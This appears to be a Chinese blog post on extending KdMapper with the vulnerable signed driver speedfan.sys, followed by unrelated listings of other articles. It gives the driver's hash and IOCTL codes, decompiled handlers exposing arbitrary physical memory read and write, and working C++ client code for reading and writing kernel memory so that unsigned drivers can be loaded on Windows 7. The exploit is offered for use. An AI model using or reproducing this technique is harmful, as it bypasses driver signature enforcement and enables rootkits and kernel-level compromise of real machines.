KdMapper扩展实现之SOKNO S.R.L(speedfan.sys)
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | speedfan.sys |
时间戳 | 50DF59B7 |
MD5 | 0FFE35F0B0CD5A324BBE22F02569AE3B |
文件版本 | 2.3.11.0 |
设备名称 | \\.\SpeedFan |
读物理内存 | 0x9C402428 |
写物理内存 | 0x9C40242C |
Windows 7 | 支持 |
Windows 10 | 不支持 |
Windows 11 | 不支持 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{unsigned __int64 v2; // raxv2 = BugCheckParameter2;if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64){v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;if (!v2)v2 = 0x2B992DDFA232i64;BugCheckParameter2 = v2;}BugCheckParameter3 = ~v2;return CreateDevice(DriverObject, RegistryPath);
}
3.2 创建设备和符号链接
NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{NTSTATUS result; // eax_UNICODE_STRING* v5; // rdisize_t v6; // rax__int64 v7; // r8NTSTATUS v8; // eaxNTSTATUS v9; // edi__int64 v10; // [rsp+20h] [rbp-38h]struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-18h] BYREFPDEVICE_OBJECT DeviceObject; // [rsp+68h] [rbp+10h] BYREFRtlInitUnicodeString(&DestinationString, aDeviceSpeedfan);result = IoCreateDevice(DriverObject, RegistryPath->Length + 114, &DestinationString, 0x9C40u, 0, 0, &DeviceObject);if (result >= 0){DeviceObject->Flags |= 4u;v5 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;*(_DWORD*)&v5[2].Length = 0;*(_DWORD*)(&v5[2].MaximumLength + 1) = 0;LODWORD(v5[2].Buffer) = 0;v5[1].MaximumLength = RegistryPath->MaximumLength;v6 = RegistryPath->Length;v5[1].Buffer = &v5[7].Length;v5[1].Length = v6;memmove(&v5[7], RegistryPath->Buffer, v6);sub_175B4(v5);if ((int)sub_176C8(v5) >= 0){v7 = *(unsigned int*)&v5[2].Length;if (_bittest((const int*)&v7, 0x1Du)){LODWORD(v10) = v5[2].Buffer;DbgPrint("SpeedFan %s Built Dec 29 2012 21:59:34 Debug %08X Break %08X Setup %08X\n",aX20311,v7,*(unsigned int*)(&v5[2].MaximumLength + 1),v10);}}v8 = IoCreateSymbolicLink(v5, &DestinationString);v9 = v8;if (v8 >= 0 || v8 == 0xC0000035){DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_17008;DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11008;DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_114C8;DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;result = 0;}else{IoDeleteDevice(DeviceObject);result = v9;}}return result;
}
3.3 DeviceIoControl
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{_IO_STACK_LOCATION* pIosp; // raxint ntStatus; // ebxPHYSICAL_ADDRESS* pMemoryInfo; // rdiunsigned int nInputBufferLength; // er12SIZE_T nOutputBufferLength; // r13unsigned int nIoControlCode; // esiLONGLONG PhysicalAddressV31; // rbxPVOID pMappedIoSpaceV32; // raxvoid* pMappedIoSpaceV33; // r14LONGLONG PhysicalAddressV34; // rbxPVOID pMappedIoSpaceV35; // raxvoid* pMappedIoSpaceV36; // r14void* Dst; // [rsp+20h] [rbp-D8h]LONGLONG PhysicalAddressV52; // [rsp+70h] [rbp-88h]LONGLONG PhysicalAddressV53; // [rsp+70h] [rbp-88h]void* PhysicalAddress; // [rsp+100h] [rbp+8h]IRP* Irp; // [rsp+108h] [rbp+10h]Irp = pIrp;pIosp = pIrp->Tail.Overlay.CurrentStackLocation;pIrp->IoStatus.Information = 0i64;ntStatus = 0xC0000023;pMemoryInfo = (PHYSICAL_ADDRESS*)pIrp->AssociatedIrp.SystemBuffer;nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;......switch (nIoControlCode){case 0x9C402428:if (nInputBufferLength >= 8 && (_DWORD)nOutputBufferLength)// 读物理内存{PhysicalAddressV34 = pMemoryInfo->QuadPart;PhysicalAddressV53 = pMemoryInfo->QuadPart;pMappedIoSpaceV35 = MmMapIoSpace(*pMemoryInfo, nOutputBufferLength, MmNonCached);pMappedIoSpaceV36 = pMappedIoSpaceV35;*(_QWORD*)MajorVersion = pMappedIoSpaceV35;if (pMappedIoSpaceV35){if (_bittest(v55, 0xEu)){LODWORD(v47) = nOutputBufferLength;DbgPrint("IOCTL_PHYMEM_READ ofo %p pad %08X_%08X vad %p siz %06X\n",v51,HIDWORD(PhysicalAddressV53),(unsigned int)PhysicalAddressV34,pMappedIoSpaceV35,v47);}memmove(pMemoryInfo, pMappedIoSpaceV36, nOutputBufferLength);Irp->IoStatus.Information = nOutputBufferLength;ntStatus = 0;v59 = 0;MmUnmapIoSpace(pMappedIoSpaceV36, (unsigned int)nOutputBufferLength);}else{ntStatus = 0xC0000088;}}goto LABEL_145;case 0x9C40242C:if (nInputBufferLength > 8) // 写物理内存{PhysicalAddressV31 = pMemoryInfo->QuadPart;PhysicalAddressV52 = pMemoryInfo->QuadPart;nInputBufferLength -= 8;pMappedIoSpaceV32 = MmMapIoSpace(*pMemoryInfo, nInputBufferLength, MmNonCached);pMappedIoSpaceV33 = pMappedIoSpaceV32;*(_QWORD*)MajorVersion = pMappedIoSpaceV32;if (pMappedIoSpaceV32){if (_bittest(v55, 0xEu)){LODWORD(v47) = nInputBufferLength;DbgPrint("IOCTL_PHYMEM_WRITE ofo %p pad %08X_%08X vad %p siz %06X\n",v51,HIDWORD(PhysicalAddressV52),(unsigned int)PhysicalAddressV31,pMappedIoSpaceV32,v47);}memmove(pMappedIoSpaceV33, &pMemoryInfo[1], nInputBufferLength);Irp->IoStatus.Information = 0i64;ntStatus = 0;v59 = 0;MmUnmapIoSpace(pMappedIoSpaceV33, nInputBufferLength);}else{ntStatus = 0xC0000088;}}goto LABEL_145;LABEL_145:if (ntStatus >= 0)goto LABEL_149;v5 = v51;goto LABEL_147;}......LABEL_149:Irp->IoStatus.Status = ntStatus;IofCompleteRequest(Irp, 0);return (unsigned int)ntStatus;
}
其中 0x9C402428 为读取物理内存, 0x9C40242C 为写入物理内存。
3.4 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4. 代码实现
4.1 .h文件
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif#define SPEEDFAN_DEVICE_TYPE (DWORD)0x9C40
#define SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x90A
#define SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90B#define IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY \CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428
#define IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY \CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40242C
4.2 .c文件
NTSTATUS sokno_driver::SuperCallDriverEx(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength,_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,NULL,NULL,NULL,&ioStatus,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength);if (ntStatus == STATUS_PENDING) {ntStatus = NtWaitForSingleObject(DeviceHandle,FALSE,NULL);}if (IoStatus)*IoStatus = ioStatus;return ntStatus;
}BOOL sokno_driver::SuperCallDriver(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength)
{BOOL bResult;IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = SuperCallDriverEx(DeviceHandle,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength,&ioStatus);bResult = NT_SUCCESS(ntStatus);SetLastError(RtlNtStatusToDosError(ntStatus));return bResult;
}BOOL WINAPI sokno_driver::SuperReadWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes,_In_ BOOLEAN DoWrite)
{BOOL bResult = FALSE;DWORD dwError = ERROR_SUCCESS;__try {if (DoWrite) {PPHYSICAL_ADDRESS pWriteInfo = (PPHYSICAL_ADDRESS)malloc(sizeof(PHYSICAL_ADDRESS) + NumberOfBytes);if (pWriteInfo){pWriteInfo->QuadPart = PhysicalAddress;RtlCopyMemory(&pWriteInfo[1], Buffer, NumberOfBytes);bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY, pWriteInfo, sizeof(PHYSICAL_ADDRESS) + NumberOfBytes, NULL, NULL);if (!bResult){Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");}}else{Log(L"SuperReadWritePhysicalMemory Write Memory malloc failed\r\n");}}else {PHYSICAL_ADDRESS address;address.QuadPart = PhysicalAddress;bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY, &address, sizeof(address), Buffer, NumberOfBytes);if (!bResult){Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");}}}__except (EXCEPTION_EXECUTE_HANDLER) {bResult = FALSE;dwError = GetExceptionCode();Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);}SetLastError(dwError);return bResult;
}BOOL WINAPI sokno_driver::SuperReadPhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_ PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,FALSE);
}BOOL WINAPI sokno_driver::SuperWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,TRUE);
}BOOL WINAPI sokno_driver::SuperWriteKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,TRUE);}return bResult;
}BOOL WINAPI sokno_driver::SuperReadKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,FALSE);}return bResult;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
5. 运行效果
Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。
6.特别提示
使用 speedfan.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。
相关文章:

KdMapper扩展实现之SOKNO S.R.L(speedfan.sys)
1.背景 KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称spee…...

MATLAB算法实战应用案例精讲-【图像处理】计算机视觉
目录 前言 几个高频面试题目 计算机视觉与图像处理、模式识别、机器学习学科之间的关系 计算机视觉和机器人视觉区别与联系...

docker应用的缓存 docker缓存机制
Docker镜像用作Docker执行程序中的主映像。它们是容器的蓝图,提供了有关如何生成容器的说明。在本文中,我将介绍一些经常被忽视的概念,这些概念将有助于优化Docker镜像开发和构建过程。 让我们从Docker构建过程的简短描述开始。这是通过使用…...

借助 ZooKeeper 生成唯一 UUID
ZooKeeper是一个分布式协调服务,它主要用于在分布式系统中管理和协调各种资源。它本身并不提供生成唯一UUID的功能,但你可以借助ZooKeeper来实现生成唯一UUID的机制。 下面是一种基于ZooKeeper的方法来生成唯一UUID的示例: 在ZooKeeper中创建…...

Redis哨兵机制原理
Redis哨兵机制可以保证Redis服务的高可用性。它通过启动一个或多个哨兵进程,监控Redis主服务器是否宕机,如果宕机,哨兵进程会自动将一个从服务器(Slave)升级为主服务器(Master),并通…...

Maven Web应用
目录 创建 Web 应用 构建 Web 应用 部署 Web 应用 测试 Web 应用 本章节我们将学习如何使用版本控制系统 Maven 来管理一个基于 web 的项目,如何创建、构建、部署以及运行一个 web 应用。 创建 Web 应用 我们可以使用 maven-archetype-webapp 插件来创建一个简…...

考古:MFC界面的自适应缩放(代码示例)
MFC窗体的控件的自适应缩放早期VS开发环境是不支持的,后来VS开发环境提供了支持但也简单,或者固定的缩放比例不符合要求。我一向坚持一个理念:“不支持缩放的窗口不是好窗口”,所以需要有一个自定义的缩放处理。机制不复杂&#x…...

计算机网络 | 物理层
计算机网络 | 物理层 计算机网络 | 物理层基本概念数据通信基本知识(一)一个数据通信流程的例子数据通信相关术语三种通信方式数据传输方式串行传输和并行传输同步传输和异步传输 小结 数据通信基本知识(二)码元(Symbo…...

Centos下编译ffmpeg动态库
文章目录 一、下载ffmpeg安装包二、编译ffmpeg三、安装yasm 一、下载ffmpeg安装包 下载包 wget http://www.ffmpeg.org/releases/ffmpeg-4.4.tar.gz解压 tar -zxvf ffmpeg-4.4.tar.gz二、编译ffmpeg 进入解压的目录 cd ffmpeg-4.4编译动态库 ./configure --enable-shared…...

深度学习:UserWarning: The parameter ‘pretrained‘ is deprecated since 0.13..解决办法
深度学习:UserWarning: The parameter ‘pretrained’ is deprecated since 0.13 and may be removed in the future, please use ‘weights’ instead. 解决办法 1 报错警告: pytorch版本:0.14.1 在利用pytorch中的预训练模型时࿰…...

leetcode-279. 完全平方数
1. 题目链接 链接: 题目链接 2. 解答 #include <stdio.h> #include <stdlib.h> #include <stdbool.h>bool issquare(int n) {if (n 1 || n 4) return true;if (n 2 || n 3) return false;for (int i 3; i < n/2; i ) {if (n i*i) return true;}…...

MySQL常用指令
创建新的数据库 1、创建新的数据库 create database YOLO;显示本地创建的数据库 2、显示本地创建的数据库 show databases;进入新创建的数据库 3、进入新创建的数据库 use YOLO;在新创建的数据库内添加表(表内插入内容) 4、创建表并添加表内容 creat…...

Pulsar 之架构,客户端以及多区域容灾
Pulsar 之架构,客户端以及多区域容灾 架构BrokersClusters元数据存储配置存储区持久存储Apache BookKeeperLedgersLedgers读一致性托管Ledgers 日志存储 Pulsar 代理服务发现 Pulsar client(客户端)客户端设置阶段Reader interface 多区域容灾备份(GEO-REPLICATION)…...

【SQL】MySQL中的索引,索引优化
索引是存储引擎用来快速查询记录的一种数据结构,按实现方式主要分为Hash索引和B树索引。 按功能划分,主要有以下几类 单列索引指的是对某一列单独建立索引,一张表中可以有多个单列索引 1. 单列索引 - 普通索引 创建索引(关键字i…...

uniapp 跳转到指定位置
this.$router.push({name: Demo,params: {id: 123} })这样就实现了页面的跳转,并且将参数id传递给了Demo组件。 如果需要跳转到当前页面的不同位置,我们可以使用锚点来实现。锚点是一个HTML元素的标识符,可以用于定位和跳转到该元素。例如&a…...

基于java的图书馆预约座位系统的设计与实现(部署+源码+LW)
项目描述 临近学期结束,还是毕业设计,你还在做java程序网络编程,期末作业,老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。今天给大家介绍一篇基于java的图书馆预约座…...

golang 拉取 bitbucket.org 私有库
以 bitbucket.org 平台和mac电脑为例 前置条件私库需要给你账号权限,可拉取的权限,否则无法进行正常拉取 我们采用ssh方式,需要在本地生成对应的 rsa 的公钥和私钥,将公钥配置如下图: 在 .ssh/config 写入你的配置 H…...

Sub-1G射频收发器soc芯片 UM2080F32 低功耗 32 位 IoTP
UM2080F32是基于 ARM Cortex M0 内核的超低功耗、高性能的、单片集成 (G)FSK/OOK 无线收发机的 32 位SOC 芯片。 UM2080F32 工作于200MHz~960MHz 范围内,支持灵活可设的数据包格式,支持自动应答和自动重发功能,支持跳频操作,支持 …...

国际减灾日 | 智慧减灾——百分点科技的数据科学视角
国际减轻自然灾害日简称“国际减灾日”,由联合国于1989年设立,旨在关注全球灾害风险,呼吁各国政府、组织和个人积极参与减灾工作,以保护人民生命财产安全。今年10月13日是第34个国际减灾日,主题为“共同打造有韧性的未…...

ChatGLM流式输出的报错修复
ChatGLM中的openai_api.py中的代码如下: # codingutf-8 # Implements API for ChatGLM2-6B in OpenAIs format. (https://platform.openai.com/docs/api-reference/chat) # Usage: python openai_api.py # Visit http://localhost:8000/docs for documents.import …...

HDLbits: ece241 2013 q12 // Exams/m2014 q4k
两道题目,有一样的问题: 第一道:ece241 2013 q12 下面的代码错误,一直没看出来哪里有问题: module top_module (input clk,input enable,input S,input A, B, C,output Z ); reg [7:0] q;dff dff_1(clk,enable,S,q[…...

vue3模板-vscode设置(语法糖)
选择菜单里的 文件 > 首选项 > 用户代码片段 vscode模板 {"Print to conaole":{"prefix": "v-ts", //在新建立的页面中输入C就会有智能提示,Tab就自动生成好了"body": ["<template>"," <…...

RFID超高频读写器的特点和应用
RFID读写器根据不同的工作频段可以分为高频读写器和超高频读写器,高频读写器通常在13.56Mhz频段工作,超高频读写器一般在860-960M Hz频段工作。下面我们就来为大家详细介绍一下,超高频读写器的特点和实际应用。 超高频读写器的工作原理 超高频…...

诡异事件:开发的安卓摄像头应用突然不能保存图片,回滚代码都查不出来
昨天对摄像头应用进行了大规模修改,在一个工程中,同时编译两个app。一番辛苦工作之后,成功。进行了测试,发现诡异的事情:照相无法保存! 那怎么办?赶紧增加搞权限,没用。 逐个版本回滚…...

validator库的使用详解
目录 基本使用前言请求模型的定义编写接口及测试 翻译校验错误提示信息自定义错误提示信息的字段名自定义校验规则常见的参数校验字段 基本使用 前言 在做API开发时,需要对请求参数的校验,防止用户的恶意请求。例如日期格式,用户年龄&#x…...

ADS版图中连接提示线设置
ADS版图连接提示线设置 简述solve 简述 在ADS版中连接提示线设置,如下图1所示,有点类似于AD中“金线”,提示同一网络的焊盘,但在ads中,是产生了同一层的wire,证据如图2所示。如果没有设置的话,…...

【MySQL】内置函数——数学函数+其他函数
文章目录 一. 数字函数二. 其他函数 一. 数字函数 函数名称描述abs()绝对值函数bin()十进制转换二进制hex()转换成十六进制conv(number,from_base,to_base)将number从from_base转换成to_base进制ceiling()向上取整floor()向下取整format(number,decimal_places)格式化…...

Ubuntu 23.10 Beta 镜像开放下载
导读Canonical放出了 Ubuntu 23.10 Beta 镜像,此外 Edubuntu、Kubuntu、Lubuntu、Ubuntu Budgie、Ubuntu Cinnamon、Ubuntu Kylin、Ubuntu MATE、Ubuntu Studio、Ubuntu Unity 和 Xubuntu 等风味版本也同步放出镜像。 近日消息,Canonical 放出了 Ubuntu …...

mybatispagehelp嵌套分页处理
1.定义嵌套vo类 /*** 用户中心,我的订单列表VO*/ public class MyOrdersVO {private String orderId;private Date createdTime;private Integer payMethod;private Integer realPayAmount;private Integer postAmount...

增速波动!W「下」AR「上」!HUD前装供应商比拼硬核能力
作为汽车智能座舱人机交互的新配置之一,HUD(抬头显示)市场在经历一波快速增长周期后,进入调整阶段。 本周,高工智能汽车研究院发布数据显示,2023年8月,中国市场(不含进出口ÿ…...